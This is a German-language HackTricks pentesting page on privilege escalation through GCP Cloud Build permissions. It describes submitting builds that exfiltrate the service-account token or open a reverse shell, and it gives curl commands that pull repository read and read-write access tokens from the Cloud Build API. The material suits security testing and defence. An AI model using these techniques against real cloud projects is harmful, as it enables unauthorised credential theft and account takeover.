GCP - Cloudbuild Privesc

Support HackTricks

cloudbuild

Für weitere Informationen über Cloud Build siehe:

GCP - Cloud Build Enum

cloudbuild.builds.create

Mit dieser Berechtigung kannst du einen Cloud-Build einreichen. Die Cloudbuild-Maschine wird standardmäßig in ihrem Dateisystem ein Token des Cloudbuild-Servicekontos haben: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Du kannst jedoch jedes Servicekonto innerhalb des Projekts in der Cloudbuild-Konfiguration angeben. Daher kannst du die Maschine einfach dazu bringen, das Token an deinen Server zu exfiltrieren oder einen Reverse-Shell innerhalb davon zu erhalten und dir das Token zu holen (die Datei, die das Token enthält, könnte sich ändern).

Du kannst das ursprüngliche Exploit-Skript hier auf GitHub finden (aber der Ort, von dem es das Token abruft, hat bei mir nicht funktioniert). Überprüfe daher ein Skript zur Automatisierung der Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier und ein Python-Skript, um einen Reverse-Shell innerhalb der Cloudbuild-Maschine zu erhalten und es hier zu stehlen (im Code kannst du finden, wie man andere Servicekonten angibt).

Für eine detailliertere Erklärung besuche https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potentiell wirst du mit dieser Berechtigung in der Lage sein, einen Cloud-Build zu aktualisieren und einfach das Token des Servicekontos zu stehlen, wie es mit der vorherigen Berechtigung durchgeführt wurde (aber leider konnte ich zum Zeitpunkt des Schreibens keinen Weg finden, diese API aufzurufen).

TODO

cloudbuild.repositories.accessReadToken

Mit dieser Berechtigung kann der Benutzer das Lesezugriffs-Token erhalten, das zum Zugriff auf das Repository verwendet wird:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Mit dieser Berechtigung kann der Benutzer das Lese- und Schreibzugriffstoken abrufen, das zum Zugriff auf das Repository verwendet wird:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Mit dieser Berechtigung können Sie die Repos abrufen, auf die die Verbindung Zugriff hat:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Unterstütze HackTricks

Last updated